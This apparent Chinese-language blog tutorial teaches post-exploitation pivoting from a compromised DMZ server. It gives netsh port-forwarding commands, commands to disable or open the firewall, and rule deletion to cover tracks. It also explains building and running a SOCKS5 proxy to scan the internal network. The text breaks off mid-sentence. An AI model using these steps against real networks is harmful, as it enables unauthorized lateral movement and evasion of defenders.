端口转发 当我们获取到一台,边缘(DMZ)服务器的Shell,时该如何进行下一步渗透呢?
如果我们要进行下一步的渗透操作,这个时候,我们就要先进行内网信息收集,一般DMZ服务器,都会有两个网卡,一个是隔离的外网网卡,一个是内网网卡,但内网是一般都不会通外网的,这个时候,我们就要进行,本地端口转发了(端口映射),这里可以用到win上的工具netsh
**netsh
**,是微软Windows的netsh是一个命令行脚本实用工具。使用netsh工具 ,可以查看或更改本地计算机或远程计算机的网络配置。不仅可以在本地计算机上运行这些命令,而且可以在网络上的远程计算机上运行。
1 2 3 4 5 假设,这台机子是一台web服务器 网卡1 :192 .168 .147 .129 ~假设为公网ip,可以出外网,但是此网卡不能访问内网 网卡2 :169 .254 .83 .245 ~假设为内网ip,可以访问内网资源,但是不能出外网
我们要做的是,在网卡2,开启个socket5服务,然后将网卡2的socket5服务端口,转到网卡1的端口上,我们就可以连接,网卡1的端口,进行socket5代理,这样就能通过外网进行内网渗透了。
这里socket5代理,我就用远程连接服务来代替,这样直观了解些
设置转发规则 netsh操作需要管理员权限
1 2 1 .先查看下当前配置的转发规则 netsh interface portproxy show all
现在未添加转发规则
我们来添加一条转发规则,我们把内网的3389端口转发到外网的9696端口
1 2 3 4 5 6 netsh interface portproxy add v4tov4 listenport=9696 listenaddress=192 .168 .147 .129 connectport=3389 connectaddress=169 .254 .83 .245 listenport:为网卡1端口 listenaddress :为网卡1ip connectport :为网卡2端口connectaddress :为网卡2ip
设置防火墙规则 规则已经添加进去了,现在我们要查看防火墙,如果开启了防火墙,要对其添加一条,监听端口允许入站规则 或者直接关闭防火墙,但一般不推荐关闭防火墙
1 2 3 4 5 6 查看防火墙是否开启 netsh firewall show config 关闭防火墙 netsh advfirewall set allprofiles state off 开启服防火墙 netsh advfirewall set allprofiles state on
当前服务器开启了防火墙,我们要添加一条入站规则
1 2 添加一条名为test的入站规则,端口放行9696 netsh advfirewall firewall add rule name=test dir =in action=allow protocol=tcp localport=9696
添加成功后,我们连接网卡1的9696端口,流量就会转发到网卡2的3389端口上了
删除规则 端口转发成功了,接下来是,删除规则,当我们干完活记得搽屁股
1 2 3 删除指定端口转发规则 netsh interface portproxy delete v4tov4 listenport=9696 listenaddress=
1 2 删除入站规则 netsh advfirewall firewall delete rule name=test dir =in protocol=tcp localport=9696
socket5代理 当我们获取到DMZ服务器的shell后要进行内网渗透时,我们要对内网资源进行一个信息搜集,我们的扫描器又不能通过外网直接扫描他们的内网,这时侯就要用,socket5代理服务了,在DMZ服务器上运行个socket5代理服务,用代理工具连接,流量就通过DMZ服务器的socket5服务转到内网了,这样我们就能够,扫描到内网了
1 2 本来,是打算给你们用我写的socket5服务程序的,但是写完后,发现,猪猪侠大佬的s5程序比我写的好,这里就用猪猪侠的s5了,地址如下 https://github.com/ring04h/s5.go
1 2 3 4 5 获取编译 git https://github.com /ring04h/s5.go .gitcd s5.go go build .\s5.go ./s5.go .exe //默认在8080 端口开启socket5服务
1 2 3 4 Usage of C:\Users\28601.DESKTOP-7QBTS9F\Desktop\s5.go\s5.exe: -addr string proxy listen address (default ":8080") -v should every proxy request be logged to stdout
1 2 3 -addr 指定ip端口 -v 开启程序打印日志 ./s5.exe -addr 127 .0 .0 .1 :9696 #在本地端口9696 开启socket5服务
如果不想go程序显示